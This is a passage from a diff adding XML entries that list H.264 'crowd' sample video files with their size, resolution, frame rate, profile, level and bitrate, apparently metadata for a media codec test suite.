+    <value>mime=video/avc,size=13156,width=96,height=128,frame-rate=50,profile=1,level=16,bitrate=152344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_96x144p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13301,width=96,height=144,frame-rate=50,profile=1,level=16,bitrate=154160,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_96x176p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13579,width=96,height=176,frame-rate=50,profile=1,level=16,bitrate=157632,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_96x64p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=12221,width=96,height=64,frame-rate=50,profile=1,level=16,bitrate=140656,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_96x72p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=12682,width=96,height=72,frame-rate=50,profile=1,level=16,bitrate=146408,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/resolutions/crowd_96x96p50f32_200kbps_bp.mp4">
+    <value>mime=video/avc,size=13050,width=96,height=96,frame-rate=50,profile=1,level=16,bitrate=151024,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_1024byte_slices_bp.mp4">
+    <value>mime=video/avc,size=276000,width=1280,height=720,frame-rate=50,profile=1,level=1024,bitrate=3437880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_2048byte_slices_bp.mp4">
+    <value>mime=video/avc,size=273889,width=1280,height=720,frame-rate=50,profile=1,level=1024,bitrate=3411496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_2slices_bp.mp4">
+    <value>mime=video/avc,size=271927,width=1280,height=720,frame-rate=50,profile=1,level=1024,bitrate=3386968,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_2slices_perrow_bp.mp4">
+    <value>mime=video/avc,size=279428,width=1280,height=720,frame-rate=50,profile=1,level=1024,bitrate=3480736,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_4slices_bp.mp4">
+    <value>mime=video/avc,size=272704,width=1280,height=720,frame-rate=50,profile=1,level=1024,bitrate=3396680,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_a4slices_bp.mp4">
+    <value>mime=video/avc,size=271718,width=1280,height=720,frame-rate=50,profile=1,level=1024,bitrate=3384360,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_gt1_slices_perrow_bp.mp4">
+    <value>mime=video/avc,size=291661,width=1280,height=720,frame-rate=50,profile=1,level=1024,bitrate=3633648,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_lt1_slices_perrow_bp.mp4">
+    <value>mime=video/avc,size=290219,width=1280,height=720,frame-rate=50,profile=1,level=1024,bitrate=3615624,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_max128slices_bp.mp4">
+    <value>mime=video/avc,size=304118,width=1280,height=720,frame-rate=50,profile=1,level=1024,bitrate=3789360,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_max64slices_bp.mp4">
+    <value>mime=video/avc,size=293651,width=1280,height=720,frame-rate=50,profile=1,level=1024,bitrate=3658520,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_1280x720p50f32/crowd_1280x720p50f32_slicerows_bp.mp4">
+    <value>mime=video/avc,size=291675,width=1280,height=720,frame-rate=50,profile=1,level=1024,bitrate=3633824,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_2048byte_slices_bp.mp4">
+    <value>mime=video/avc,size=602186,width=1920,height=1080,frame-rate=50,profile=1,level=8192,bitrate=7515184,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_2slices_bp.mp4">
+    <value>mime=video/avc,size=592101,width=1920,height=1080,frame-rate=50,profile=1,level=8192,bitrate=7389120,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_2slices_perrow_bp.mp4">
+    <value>mime=video/avc,size=614221,width=1920,height=1080,frame-rate=50,profile=1,level=8192,bitrate=7665624,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_4slices_bp.mp4">
+    <value>mime=video/avc,size=593512,width=1920,height=1080,frame-rate=50,profile=1,level=8192,bitrate=7406760,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_a4slices_bp.mp4">
+    <value>mime=video/avc,size=592983,width=1920,height=1080,frame-rate=50,profile=1,level=8192,bitrate=7400144,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_gt1_slices_perrow_bp.mp4">
+    <value>mime=video/avc,size=648824,width=1920,height=1080,frame-rate=50,profile=1,level=8192,bitrate=8098160,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_lt1_slices_perrow_bp.mp4">
+    <value>mime=video/avc,size=646677,width=1920,height=1080,frame-rate=50,profile=1,level=8192,bitrate=8071320,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_max128slices_bp.mp4">
+    <value>mime=video/avc,size=657469,width=1920,height=1080,frame-rate=50,profile=1,level=8192,bitrate=8206224,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_max64slices_bp.mp4">
+    <value>mime=video/avc,size=643892,width=1920,height=1080,frame-rate=50,profile=1,level=8192,bitrate=8036512,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_1920x1080p50f32/crowd_1920x1080p50f32_slicerows_bp.mp4">
+    <value>mime=video/avc,size=649245,width=1920,height=1080,frame-rate=50,profile=1,level=8192,bitrate=8103424,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_1024byte_slices_bp.mp4">
+    <value>mime=video/avc,size=1483411,width=3840,height=2160,frame-rate=50,profile=1,level=65536,bitrate=18530520,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_2slices_bp.mp4">
+    <value>mime=video/avc,size=1388638,width=3840,height=2160,frame-rate=50,profile=1,level=65536,bitrate=17345856,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_2slices_perrow_bp.mp4">
+    <value>mime=video/avc,size=1555465,width=3840,height=2160,frame-rate=50,profile=1,level=65536,bitrate=19431200,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_4slices_bp.mp4">
+    <value>mime=video/avc,size=1391888,width=3840,height=2160,frame-rate=50,profile=1,level=65536,bitrate=17386480,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_a4slices_bp.mp4">
+    <value>mime=video/avc,size=1394799,width=3840,height=2160,frame-rate=50,profile=1,level=65536,bitrate=17422872,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_gt1_slices_perrow_bp.mp4">
+    <value>mime=video/avc,size=1775914,width=3840,height=2160,frame-rate=50,profile=1,level=65536,bitrate=22186808,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_lt1_slices_perrow_bp.mp4">
+    <value>mime=video/avc,size=1772776,width=3840,height=2160,frame-rate=50,profile=1,level=65536,bitrate=22147584,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_max128slices_bp.mp4">
+    <value>mime=video/avc,size=1746714,width=3840,height=2160,frame-rate=50,profile=1,level=65536,bitrate=21821808,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_max64slices_bp.mp4">
+    <value>mime=video/avc,size=1543666,width=3840,height=2160,frame-rate=50,profile=1,level=65536,bitrate=19283712,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_3840x2160p50f32/crowd_3840x2160p50f32_slicerows_bp.mp4">
+    <value>mime=video/avc,size=1790131,width=3840,height=2160,frame-rate=50,profile=1,level=65536,bitrate=22364520,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_640x360p50f32/crowd_640x360p50f32_1024byte_slices_bp.mp4">
+    <value>mime=video/avc,size=37684,width=640,height=360,frame-rate=50,profile=1,level=512,bitrate=458920,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_640x360p50f32/crowd_640x360p50f32_2048byte_slices_bp.mp4">
+    <value>mime=video/avc,size=37467,width=640,height=360,frame-rate=50,profile=1,level=512,bitrate=456208,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_640x360p50f32/crowd_640x360p50f32_256byte_slices_bp.mp4">
+    <value>mime=video/avc,size=38199,width=640,height=360,frame-rate=50,profile=1,level=512,bitrate=465360,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_640x360p50f32/crowd_640x360p50f32_2slices_bp.mp4">
+    <value>mime=video/avc,size=37863,width=640,height=360,frame-rate=50,profile=1,level=512,bitrate=461160,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_640x360p50f32/crowd_640x360p50f32_2slices_perrow_bp.mp4">
+    <value>mime=video/avc,size=39439,width=640,height=360,frame-rate=50,profile=1,level=512,bitrate=480856,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_640x360p50f32/crowd_640x360p50f32_4mbs_perslice_bp.mp4">
+    <value>mime=video/avc,size=110165,width=640,height=360,frame-rate=50,profile=1,level=512,bitrate=1364936,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_640x360p50f32/crowd_640x360p50f32_4slices_bp.mp4">
+    <value>mime=video/avc,size=37863,width=640,height=360,frame-rate=50,profile=1,level=512,bitrate=461160,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_640x360p50f32/crowd_640x360p50f32_a4slices_bp.mp4">
+    <value>mime=video/avc,size=37885,width=640,height=360,frame-rate=50,profile=1,level=512,bitrate=461432,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_640x360p50f32/crowd_640x360p50f32_gt1_slices_perrow_bp.mp4">
+    <value>mime=video/avc,size=44508,width=640,height=360,frame-rate=50,profile=1,level=512,bitrate=544224,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_640x360p50f32/crowd_640x360p50f32_lt1_slices_perrow_bp.mp4">
+    <value>mime=video/avc,size=43328,width=640,height=360,frame-rate=50,profile=1,level=512,bitrate=529472,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_640x360p50f32/crowd_640x360p50f32_max128slices_bp.mp4">
+    <value>mime=video/avc,size=75929,width=640,height=360,frame-rate=50,profile=1,level=512,bitrate=936984,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_640x360p50f32/crowd_640x360p50f32_max64slices_bp.mp4">
+    <value>mime=video/avc,size=54795,width=640,height=360,frame-rate=50,profile=1,level=512,bitrate=672808,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_640x360p50f32/crowd_640x360p50f32_slicerows_bp.mp4">
+    <value>mime=video/avc,size=44957,width=640,height=360,frame-rate=50,profile=1,level=512,bitrate=549832,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_854x480p50f32/crowd_854x480p50f32_1024byte_slices_bp.mp4">
+    <value>mime=video/avc,size=125255,width=854,height=480,frame-rate=50,profile=1,level=512,bitrate=1553560,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_854x480p50f32/crowd_854x480p50f32_2048byte_slices_bp.mp4">
+    <value>mime=video/avc,size=125239,width=854,height=480,frame-rate=50,profile=1,level=512,bitrate=1553360,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_854x480p50f32/crowd_854x480p50f32_256byte_slices_bp.mp4">
+    <value>mime=video/avc,size=128152,width=854,height=480,frame-rate=50,profile=1,level=512,bitrate=1589768,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_854x480p50f32/crowd_854x480p50f32_2slices_bp.mp4">
+    <value>mime=video/avc,size=124697,width=854,height=480,frame-rate=50,profile=1,level=512,bitrate=1546584,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_854x480p50f32/crowd_854x480p50f32_2slices_perrow_bp.mp4">
+    <value>mime=video/avc,size=127298,width=854,height=480,frame-rate=50,profile=1,level=512,bitrate=1579096,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_854x480p50f32/crowd_854x480p50f32_4mbs_perslice_bp.mp4">
+    <value>mime=video/avc,size=224597,width=854,height=480,frame-rate=50,profile=1,level=512,bitrate=2795336,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_854x480p50f32/crowd_854x480p50f32_4slices_bp.mp4">
+    <value>mime=video/avc,size=125277,width=854,height=480,frame-rate=50,profile=1,level=512,bitrate=1553832,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_854x480p50f32/crowd_854x480p50f32_a4slices_bp.mp4">
+    <value>mime=video/avc,size=124564,width=854,height=480,frame-rate=50,profile=1,level=512,bitrate=1544920,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_854x480p50f32/crowd_854x480p50f32_gt1_slices_perrow_bp.mp4">
+    <value>mime=video/avc,size=130998,width=854,height=480,frame-rate=50,profile=1,level=512,bitrate=1625344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_854x480p50f32/crowd_854x480p50f32_lt1_slices_perrow_bp.mp4">
+    <value>mime=video/avc,size=130317,width=854,height=480,frame-rate=50,profile=1,level=512,bitrate=1616832,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_854x480p50f32/crowd_854x480p50f32_max128slices_bp.mp4">
+    <value>mime=video/avc,size=144042,width=854,height=480,frame-rate=50,profile=1,level=512,bitrate=1788400,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_854x480p50f32/crowd_854x480p50f32_max64slices_bp.mp4">
+    <value>mime=video/avc,size=135058,width=854,height=480,frame-rate=50,profile=1,level=512,bitrate=1676096,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/slices/crowd_854x480p50f32/crowd_854x480p50f32_slicerows_bp.mp4">
+    <value>mime=video/avc,size=131000,width=854,height=480,frame-rate=50,profile=1,level=512,bitrate=1625368,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/bitrate/crowd_640x360p24f300_1000kbps_hp.mp4">
+    <value>mime=video/avc,size=1604992,width=640,height=360,frame-rate=24,profile=8,level=256,bitrate=1024576,max-bitrate=1268000</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/bitrate/crowd_640x360p25f300_1000kbps_hp.mp4">
+    <value>mime=video/avc,size=1542834,width=640,height=360,frame-rate=25,profile=8,level=256,bitrate=1025824,max-bitrate=1262208</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/bitrate/crowd_640x360p30f300_1000kbps_hp.mp4">
+    <value>mime=video/avc,size=1285292,width=640,height=360,frame-rate=30,profile=8,level=256,bitrate=1024976,max-bitrate=1240208</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/bitrate/crowd_640x360p48f300_1500kbps_hp.mp4">
+    <value>mime=video/avc,size=1205268,width=640,height=360,frame-rate=48,profile=8,level=512,bitrate=1537568,max-bitrate=1747064</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/bitrate/crowd_640x360p50f300_1500kbps_hp.mp4">
+    <value>mime=video/avc,size=1155911,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=1535832,max-bitrate=1780472</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/bitrate/crowd_640x360p60f300_1500kbps_hp.mp4">
+    <value>mime=video/avc,size=963364,width=640,height=360,frame-rate=60,profile=8,level=512,bitrate=1534936,max-bitrate=1568880</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/bitrate/crowd_854x480p60f300_4000kbps_hp.mp4">
+    <value>mime=video/avc,size=2552695,width=854,height=480,frame-rate=60,profile=8,level=512,bitrate=4077400,max-bitrate=4224496</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f10_gop8_hp.mp4">
+    <value>mime=video/avc,size=153604,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=6105280,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f11_gop8_hp.mp4">
+    <value>mime=video/avc,size=160381,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=5796248,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f12_gop8_hp.mp4">
+    <value>mime=video/avc,size=166518,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=5517664,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f13_gop8_hp.mp4">
+    <value>mime=video/avc,size=173203,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=5298304,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f14_gop8_hp.mp4">
+    <value>mime=video/avc,size=178856,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=5081256,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f15_gop8_hp.mp4">
+    <value>mime=video/avc,size=185335,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=4915168,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f16_gop8_hp.mp4">
+    <value>mime=video/avc,size=191647,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=4765672,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f1_gop1_hp.mp4">
+    <value>mime=video/avc,size=62844,width=1280,height=720,frame-rate=1,profile=8,level=1024,bitrate=496272,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f1_gop2_hp.mp4">
+    <value>mime=video/avc,size=62907,width=1280,height=720,frame-rate=1,profile=8,level=1024,bitrate=496768,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f1_gop4_hp.mp4">
+    <value>mime=video/avc,size=62907,width=1280,height=720,frame-rate=1,profile=8,level=1024,bitrate=496768,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f1_gop8_hp.mp4">
+    <value>mime=video/avc,size=62908,width=1280,height=720,frame-rate=1,profile=8,level=1024,bitrate=496768,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f2_gop1_hp.mp4">
+    <value>mime=video/avc,size=77253,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=15283000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f2_gop2_hp.mp4">
+    <value>mime=video/avc,size=77317,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=15295600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f2_gop4_hp.mp4">
+    <value>mime=video/avc,size=77317,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=15295600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f2_gop8_hp.mp4">
+    <value>mime=video/avc,size=77318,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=15295600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f3_gop2_hp.mp4">
+    <value>mime=video/avc,size=90150,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11897464,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f3_gop4_hp.mp4">
+    <value>mime=video/avc,size=90150,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11897464,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f3_gop8_hp.mp4">
+    <value>mime=video/avc,size=90151,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11897464,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f4_gop2_hp.mp4">
+    <value>mime=video/avc,size=97348,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=9641696,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f4_gop4_hp.mp4">
+    <value>mime=video/avc,size=99677,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=9875400,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f4_gop8_hp.mp4">
+    <value>mime=video/avc,size=99678,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=9875400,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f5_gop4_hp.mp4">
+    <value>mime=video/avc,size=110193,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=8740000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f5_gop8_hp.mp4">
+    <value>mime=video/avc,size=110194,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=8740000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f6_gop4_hp.mp4">
+    <value>mime=video/avc,size=116803,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=7723200,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f6_gop8_hp.mp4">
+    <value>mime=video/avc,size=119307,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=7890600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f7_gop4_hp.mp4">
+    <value>mime=video/avc,size=123360,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=6993880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f7_gop8_hp.mp4">
+    <value>mime=video/avc,size=129133,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=7324624,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f8_gop4_hp.mp4">
+    <value>mime=video/avc,size=129341,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=6418496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f8_gop8_hp.mp4">
+    <value>mime=video/avc,size=138242,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=6864296,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1280x720p50/crowd_1280x720p50f9_gop8_hp.mp4">
+    <value>mime=video/avc,size=147757,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=6524304,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f10_gop8_hp.mp4">
+    <value>mime=video/avc,size=387617,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=15465760,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f11_gop8_hp.mp4">
+    <value>mime=video/avc,size=403601,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=14640576,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f12_gop8_hp.mp4">
+    <value>mime=video/avc,size=418656,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=13922232,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f13_gop8_hp.mp4">
+    <value>mime=video/avc,size=435493,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=13368736,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f14_gop8_hp.mp4">
+    <value>mime=video/avc,size=450282,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=12836256,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f15_gop8_hp.mp4">
+    <value>mime=video/avc,size=464907,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=12370400,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f16_gop8_hp.mp4">
+    <value>mime=video/avc,size=480215,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=11979848,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f1_gop1_hp.mp4">
+    <value>mime=video/avc,size=151930,width=1920,height=1080,frame-rate=1,profile=8,level=8192,bitrate=1208936,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f1_gop2_hp.mp4">
+    <value>mime=video/avc,size=151990,width=1920,height=1080,frame-rate=1,profile=8,level=8192,bitrate=1209424,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f1_gop4_hp.mp4">
+    <value>mime=video/avc,size=151992,width=1920,height=1080,frame-rate=1,profile=8,level=8192,bitrate=1209432,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f1_gop8_hp.mp4">
+    <value>mime=video/avc,size=151992,width=1920,height=1080,frame-rate=1,profile=8,level=8192,bitrate=1209432,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f2_gop1_hp.mp4">
+    <value>mime=video/avc,size=186888,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=37209400,max-bitrate=</value>
+  </entry>
